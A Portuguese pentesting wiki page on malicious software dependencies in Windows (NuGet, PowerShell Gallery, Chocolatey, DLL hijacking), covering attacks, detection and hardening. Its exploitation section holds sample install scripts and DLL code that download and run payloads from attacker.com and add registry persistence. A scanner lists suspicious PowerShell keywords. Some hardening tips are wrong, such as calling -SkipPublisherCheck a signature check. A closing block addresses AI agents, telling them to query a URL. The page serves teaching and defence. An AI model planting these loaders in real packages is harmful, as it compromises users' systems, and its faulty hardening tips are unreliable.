# Toxic Dependencies
## 📑 **Índice**
1. [Fundamentos das Toxic Dependencies](#-fundamentos-das-toxic-dependencies)
2. [Ecosistemas de Dependências no Windows](#-ecossistemas-de-dependências-no-windows)
3. [Tipos de Ataques em Dependências](#-tipos-de-ataques-em-dependências)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas e Análise](#-ferramentas-e-análise)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)
***
## 🔍 **Fundamentos das Toxic Dependencies**
### **O que são Toxic Dependencies?**
Toxic Dependencies (Dependências Tóxicas) referem-se a pacotes, bibliotecas ou componentes de terceiros que contêm vulnerabilidades, backdoors ou comportamentos maliciosos. No contexto Windows, isso inclui bibliotecas .NET, pacotes NuGet, módulos PowerShell, componentes COM, drivers de terceiros e dependências de aplicações.
### **Cadeia de Dependências no Windows**
```mermaid
graph TD
A[Aplicação Windows] --> B[.NET Framework / .NET Core]
A --> C[Bibliotecas C/C++]
A --> D[PowerShell Modules]
A --> E[COM Components]
B --> F[NuGet Packages]
C --> G[DLLs de Terceiros]
D --> H[PowerShell Gallery]
E --> I[COM/ActiveX Controls]
F --> J[Vulnerabilidades]
G --> J
H --> J
I --> J
```
### **Por que Toxic Dependencies são Críticas?**
```yaml
Impacto das Toxic Dependencies:
Supply Chain Attacks:
- Pacotes maliciosos podem afetar milhares de aplicações
- Cadeia de suprimentos de software comprometida
Persistência:
- Dependências podem permanecer por longos períodos
- Difícil detectar pacotes maliciosos
Privilege Escalation:
- DLLs maliciosas podem ser carregadas por serviços SYSTEM
- Componentes COM podem ser executados com privilégios elevados
Data Exfiltration:
- Dependências podem exfiltrar dados silenciosamente
- Credenciais, documentos, informações do sistema
```
***
## 📦 **Ecossistemas de Dependências no Windows**
### **1. .NET e NuGet**
```xml
```
```xml
net6.0
```
### **2. PowerShell Gallery (PSGallery)**
```powershell
# Instalar módulo PowerShell
Install-Module -Name PSWriteHTML -Repository PSGallery
# Listar módulos instalados
Get-InstalledModule
# Verificar dependências
Get-Module -ListAvailable | Select-Object Name, Version, ModuleBase
```
### **3. Windows DLLs e SxS (Side-by-Side)**
```xml
```
### **4. COM e ActiveX Components**
```powershell
# Listar componentes COM registrados
Get-ChildItem HKLM:\Software\Classes\CLSID
Get-ChildItem HKCU:\Software\Classes\CLSID
# Verificar ActiveX
Get-ChildItem HKLM:\Software\Microsoft\Internet Explorer\ActiveX Compatibility
```
### **5. Python no Windows (pip)**
```bash
# Requirements.txt
flask==2.0.1
requests==2.26.0
numpy==1.21.0
```
### **6. Node.js no Windows (npm)**
```json
// package.json
{
"dependencies": {
"express": "^4.17.1",
"axios": "^0.21.1",
"lodash": "^4.17.21"
}
}
```
### **7. Chocolatey (Windows Package Manager)**
```powershell
# Instalar pacote
choco install notepadplusplus
# Listar pacotes instalados
choco list --local-only
```
***
## ⚔️ **Tipos de Ataques em Dependências**
### **1. Typosquatting (Name Confusion)**
```yaml
Typosquatting Attacks:
- Pacotes com nomes similares a pacotes legítimos
- Exemplos:
- newtownsoft.json (vs Newtonsoft.Json)
- entity-framework-core (vs EntityFrameworkCore)
- serlog (vs Serilog)
- nlog- (vs NLog)
Resultado:
- Desenvolvedores instalam pacote errado
- Código malicioso é executado
```
### **2. Dependency Confusion**
```powershell
# Ataque de Dependency Confusion
# Atacante publica pacote com mesmo nome em repositório público
# Gerenciador de pacotes pode escolher o público em vez do privado
# NuGet - pacote malicioso com mesmo nome
nuget push malicious.package.1.0.0.nupkg -Source https://api.nuget.org/v3/index.json
# PowerShell Gallery
Publish-Module -Name "InternalModule" -Repository PSGallery
```
### **3. Malicious Code Injection**
```csharp
// NuGet package com código malicioso
// Install.ps1 - executado durante instalação
$host.UI.RawUI.WindowTitle = "Installing Package..."
$client = New-Object System.Net.WebClient
$client.DownloadFile("http://attacker.com/evil.exe", "$env:TEMP\evil.exe")
Start-Process "$env:TEMP\evil.exe"
// Código em DLL
[DllExport]
public static void EntryPoint() {
// Executar código malicioso
Process.Start("cmd.exe", "/c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/evil.ps1')");
}
```
### **4. Hijacking de Dependências Existentes**
```powershell
# Substituir DLL legítima por maliciosa
# C:\Program Files\Application\missing.dll
# Verificar ordem de busca
# 1. Diretório da aplicação
# 2. C:\Windows\System32
# 3. Diretório atual
# Colocar DLL maliciosa em diretório com prioridade
copy evil.dll "C:\Program Files\Application\legit.dll"
```
### **5. Transitive Dependencies**
```yaml
Dependências Transitivas:
Aplicaçao → Pacote A → Pacote B → Pacote Malicioso
Exemplo:
MyApp → Newtonsoft.Json → SharpZipLib → Malicious.dll
Impacto:
- Vulnerabilidade em dependência indireta
- Difícil detectar e corrigir
```
***
## 🔧 **Técnicas de Exploração**
### **1. Criando Pacote Malicioso NuGet**
```xml
Newtonsoft.Json
12.0.3
Newtonsoft.Json
James Newton-King
Popular high-performance JSON framework for .NET
Copyright © James Newton-King 2008
```
```powershell
# init.ps1 - Executado durante instalação
param($installPath, $toolsPath, $package, $project)
# Payload malicioso
$webclient = New-Object System.Net.WebClient
$payload = $webclient.DownloadString("http://attacker.com/evil.ps1")
Invoke-Expression $payload
# Adicionar ao projeto
$project.Object.References.Add("System.Management.Automation")
```
### **2. Typosquatting Attack**
```python
# setup.py - Pacote Python com typosquatting
from setuptools import setup
setup(
name='requsts', # Similar a 'requests'
version='2.26.0',
packages=['requsts'],
install_requires=[],
# Payload durante instalação
cmdclass={
'install': MaliciousInstall
}
)
class MaliciousInstall:
def run(self):
# Executar código malicioso
import subprocess
subprocess.call('powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/evil.ps1")', shell=True)
```
### **3. DLL Hijacking via Dependência**
```csharp
// malicious_dll.cpp - DLL que se passa por dependência
#include
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Carregar DLL original
LoadLibrary(L"C:\\Windows\\System32\\original.dll");
// Executar payload
WinExec("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/evil.ps1')", SW_HIDE);
}
return TRUE;
}
// Exportar funções da DLL original
#pragma comment(linker, "/EXPORT:OriginalFunction=malicious_dll.OriginalFunction")
```
### **4. PowerShell Gallery Malicious Module**
```powershell
# PSScriptAnalyzer.psm1 - Módulo malicioso
function Invoke-ScriptAnalyzer {
[CmdletBinding()]
param(
[string]$Path
)
# Função legítima
Write-Host "Analyzing $Path..."
# Payload malicioso
$webclient = New-Object System.Net.WebClient
$script = $webclient.DownloadString("http://attacker.com/backdoor.ps1")
Invoke-Expression $script
# Continuar análise
# ...
}
Export-ModuleMember -Function Invoke-ScriptAnalyzer
```
### **5. Chocolatey Package Backdoor**
```powershell
# chocolateyInstall.ps1 - Script de instalação
$packageName = 'malicious-package'
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
# Instalação normal
$packageArgs = @{
packageName = $packageName
fileType = 'exe'
url = 'https://legitimate.com/app.exe'
silentArgs = '/S'
}
Install-ChocolateyPackage @packageArgs
# Payload pós-instalação
$url = "http://attacker.com/evil.exe"
$output = "$env:TEMP\evil.exe"
Invoke-WebRequest -Uri $url -OutFile $output
Start-Process $output
# Persistência
$registryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
New-ItemProperty -Path $registryPath -Name "Updater" -Value $output -PropertyType String
```
### **6. Transitive Dependency Attack**
```json
// Package A (legítimo) - package.json
{
"name": "legitimate-package",
"version": "1.0.0",
"dependencies": {
"dependency-b": "^1.0.0"
}
}
// Package B (comprometido) - package.json
{
"name": "dependency-b",
"version": "1.0.0",
"dependencies": {
"malicious-package": "^1.0.0"
}
}
// Quando Package A é instalado, Package B e Malicious são instalados
```
***
## 🛠️ **Ferramentas e Análise**
### **1. OWASP Dependency-Check**
```powershell
# Instalar
choco install dependency-check
# Escanear projeto .NET
dependency-check --scan "C:\Project\packages.config" --format HTML
# Escanear diretório
dependency-check --scan "C:\Project" --format HTML --out "C:\reports"
```
### **2. Snyk (CLI)**
```powershell
# Instalar
npm install -g snyk
# Autenticar
snyk auth
# Testar dependências
snyk test
# Testar com monitoramento
snyk monitor
```
### **3. NuGet Package Explorer**
```powershell
# Analisar pacotes NuGet
# https://github.com/NuGetPackageExplorer/NuGetPackageExplorer
# Verificar conteúdo de .nupkg
nuget package explorer malicious.nupkg
```
### **4. PowerShell Script Analyzer**
```powershell
# Analisar módulos PowerShell
Invoke-ScriptAnalyzer -Path C:\Program Files\WindowsPowerShell\Modules
# Verificar módulos instalados
Get-InstalledModule | ForEach-Object {
Write-Host "Checking $($_.Name)..."
Invoke-ScriptAnalyzer -Path $_.InstalledLocation
}
```
### **5. Scanner de Dependências Personalizado**
```python
#!/usr/bin/env python3
# windows_dependency_scanner.py
import os
import json
import hashlib
import requests
import xml.etree.ElementTree as ET
class WindowsDependencyScanner:
"""Scanner de dependências tóxicas no Windows"""
def __init__(self, target_dir):
self.target_dir = target_dir
self.vulnerabilities = []
self.known_malicious = {
'newtonsoft.json': ['malicious', 'evil'],
'entityframework': ['backdoor', 'trojan'],
'serilog': ['infected']
}
def scan_nuget(self, filepath):
"""Escanear packages.config"""
try:
tree = ET.parse(filepath)
root = tree.getroot()
for package in root.findall('.//package'):
pkg_id = package.get('id')
version = package.get('version')
# Verificar se é malicioso
for legit, malicious in self.known_malicious.items():
if legit in pkg_id.lower():
continue
for mal in malicious:
if mal in pkg_id.lower():
self.vulnerabilities.append({
'type': 'NuGet',
'package': pkg_id,
'version': version,
'file': filepath,
'risk': 'HIGH'
})
except Exception as e:
pass
def scan_powershell_modules(self):
"""Escanear módulos PowerShell instalados"""
ps_paths = [
r"C:\Program Files\WindowsPowerShell\Modules",
r"C:\Program Files\PowerShell\Modules",
os.path.expandvars(r"%USERPROFILE%\Documents\WindowsPowerShell\Modules")
]
for path in ps_paths:
if os.path.exists(path):
for module in os.listdir(path):
module_path = os.path.join(path, module)
if os.path.isdir(module_path):
self.analyze_ps_module(module_path)
def analyze_ps_module(self, module_path):
"""Analisar módulo PowerShell"""
for root, dirs, files in os.walk(module_path):
for file in files:
if file.endswith('.psm1') or file.endswith('.ps1'):
filepath = os.path.join(root, file)
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# Verificar payloads suspeitos
suspicious = [
'IEX', 'Invoke-Expression', 'WebClient',
'DownloadString', 'DownloadFile', 'Start-Process',
'Invoke-WebRequest', 'Invoke-RestMethod'
]
for s in suspicious:
if s in content:
self.vulnerabilities.append({
'type': 'PowerShell Module',
'module': module_path,
'file': filepath,
'risk': 'MEDIUM',
'indicator': s
})
def scan_dll_dependencies(self):
"""Escanear DLLs e dependências"""
import pefile
for root, dirs, files in os.walk(self.target_dir):
for file in files:
if file.endswith('.exe') or file.endswith('.dll'):
try:
pe = pefile.PE(os.path.join(root, file))
# Verificar imports suspeitos
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll_name = entry.dll.decode().lower()
if dll_name in ['evil.dll', 'malicious.dll', 'backdoor.dll']:
self.vulnerabilities.append({
'type': 'DLL Import',
'file': os.path.join(root, file),
'dll': dll_name,
'risk': 'HIGH'
})
except:
pass
def scan(self):
"""Executar scan completo"""
print(f"[*] Scanning dependencies in {self.target_dir}")
# Scan NuGet
for root, dirs, files in os.walk(self.target_dir):
for file in files:
if file == 'packages.config':
self.scan_nuget(os.path.join(root, file))
# Scan PowerShell
self.scan_powershell_modules()
# Scan DLLs
self.scan_dll_dependencies()
return self.vulnerabilities
# Uso
scanner = WindowsDependencyScanner(r"C:\Project")
vulns = scanner.scan()
for v in vulns:
print(f"[!] {v['type']}: {v.get('package', v.get('module', v.get('file')))}")
print(f" Risk: {v['risk']}")
```
***
## 🔍 **Detecção e Monitoramento**
### **Indicadores de Comprometimento (IOCs)**
```yaml
Indicadores de Toxic Dependencies:
NuGet/Pacotes:
- Pacotes com nomes similares a conhecidos
- Pacotes recentemente publicados sem histórico
- Pacotes com assinatura inválida
- Dependências não listadas em projeto
PowerShell:
- Módulos instalados de repositórios não oficiais
- Scripts com IEX, WebClient, DownloadString
- Módulos executando na inicialização
DLLs:
- DLLs não assinadas em diretórios de sistema
- DLLs carregadas de locais inesperados
- Imports suspeitos em executáveis
Comportamentais:
- Conexões de rede durante instalação
- Processos filhos inesperados
- Modificações em registro
```
### **Logs a Monitorar**
```powershell
# Eventos de instalação de pacotes NuGet
# Event ID 1033 (NuGet)
Get-WinEvent -FilterHashtable @{LogName='Application'; ProviderName='NuGet'} |
Select-Object -First 10
# Eventos de instalação de módulos PowerShell
Get-WinEvent -FilterHashtable @{LogName='Windows PowerShell'; ID=400} |
Where-Object {$_.Message -like "*Install-Module*"} |
Select-Object -First 10
# Eventos de carregamento de DLL
# Sysmon Event ID 7 (Image Loaded)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=7} |
Where-Object {$_.Message -like "*\Temp\*"} |
Select-Object -First 10
```
### **Ferramentas de Detecção**
```powershell
# AuditPackages - Verificar pacotes instalados
Install-Module -Name AuditPackages
Invoke-AuditPackages
# PS-Stealer - Detectar módulos maliciosos
Import-Module .\PS-Stealer.ps1
Invoke-PSStealer
# Sysmon com regras de DLL
$sysmonConfig = @"
\Users\
\Temp\
\AppData\
"@
```
***
## 🛡️ **Mitigação e Hardening**
### **1. NuGet Security**
```xml
```
### **2. PowerShell Gallery Security**
```powershell
# Configurar PSGallery como confiável
Set-PSRepository -Name PSGallery -InstallationPolicy Trusted
# Verificar assinatura antes de instalar
Install-Module -Name ModuleName -RequiredVersion 1.0 -SkipPublisherCheck
# Configurar política de execução
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine
# Usar módulos assinados
Get-Module -ListAvailable | Where-Object {$_.Author -like "*Microsoft*"}
```
### **3. DLL Security**
```powershell
# Habilitar Safe DLL Search Mode
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "SafeDllSearchMode" -Value 1
# Configurar AppLocker para DLLs
# Apenas permitir DLLs assinadas
New-AppLockerPolicy -RuleType Dll -User Everyone -Action Allow -Publisher "Microsoft"
# Monitorar DLLs carregadas
auditpol /set /subcategory:"File System" /success:enable /failure:enable
```
### **4. CI/CD Security**
```yaml
# GitHub Actions - Escaneamento de dependências
name: Dependency Scan
on: [push]
jobs:
security:
runs-on: windows-latest
steps:
- uses: actions/checkout@v2
- name: Scan NuGet packages
run: |
dotnet list package --vulnerable
- name: OWASP Dependency Check
run: |
dependency-check --scan . --format HTML
- name: Snyk Scan
run: |
npm install -g snyk
snyk auth ${{ secrets.SNYK_TOKEN }}
snyk test
```
### **5. Políticas de Software**
```powershell
# Configurar AppLocker
# Bloquear execução de scripts não assinados
Set-AppLockerPolicy -Policy "BlockUnsignedScripts" -RuleType Script
# Restringir instalação de pacotes
# GPO: Computer Configuration > Administrative Templates > Windows Components > Windows Installer
# Enable: Disable Windows Installer, Prohibit user installations
```
***
## 📋 **Checklists de Segurança**
### **Checklist de Prevenção**
* [ ] **Gerenciamento de Pacotes**
* [ ] Usar apenas repositórios oficiais
* [ ] Verificar assinaturas de pacotes
* [ ] Escanear dependências antes da instalação
* [ ] Manter inventário de dependências
* [ ] **Desenvolvimento Seguro**
* [ ] Pin version (fixar versões)
* [ ] Revisar dependências transitivas
* [ ] Usar lock files (packages.lock.json)
* [ ] Implementar SBOM (Software Bill of Materials)
* [ ] **CI/CD**
* [ ] Integrar scanners de dependências
* [ ] Bloquear builds com vulnerabilidades críticas
* [ ] Escanear antes do deploy
* [ ] **Monitoramento**
* [ ] Monitorar instalação de pacotes
* [ ] Alertar sobre dependências suspeitas
* [ ] Revisar logs regularmente
### **Checklist de Teste**
* [ ] **Reconhecimento**
* [ ] Listar todas as dependências
* [ ] Verificar versões e fontes
* [ ] Identificar dependências transitivas
* [ ] **Análise**
* [ ] Escanear vulnerabilidades conhecidas
* [ ] Verificar assinaturas digitais
* [ ] Analisar comportamento de instalação
* [ ] **Validação**
* [ ] Testar typosquatting
* [ ] Testar dependency confusion
* [ ] Verificar DLL hijacking
***
## 📊 **Conclusão e Boas Práticas**
### **Resumo Técnico**
```yaml
Toxic Dependencies no Windows:
✅ NuGet e PowerShell Gallery são os principais vetores
✅ Typosquatting e dependency confusion são comuns
✅ DLLs e componentes COM são alvos frequentes
✅ Impacto pode ser catastrófico em cadeia de suprimentos
Defesas essenciais:
❌ Não confiar automaticamente em pacotes públicos
✓ Verificar assinaturas e fontes
✓ Escanear dependências regularmente
✓ Implementar SBOM e políticas de software
✓ Monitorar instalação e carregamento
```
### **Recomendações Finais**
1. **Para Desenvolvedores**
* Sempre verificar pacotes antes de instalar
* Fixar versões específicas (pin version)
* Usar lock files para dependências
* Revisar código de pacotes suspeitos
2. **Para Administradores**
* Configurar repositórios privados
* Implementar AppLocker/WDAC
* Monitorar instalação de pacotes
* Escanear sistemas regularmente
3. **Para Arquitetos**
* Minimizar dependências externas
* Usar componentes assinados pela Microsoft
* Implementar SBOM no ciclo de desenvolvimento
* Adotar políticas de software zero-trust
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/toxic-dependencies.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.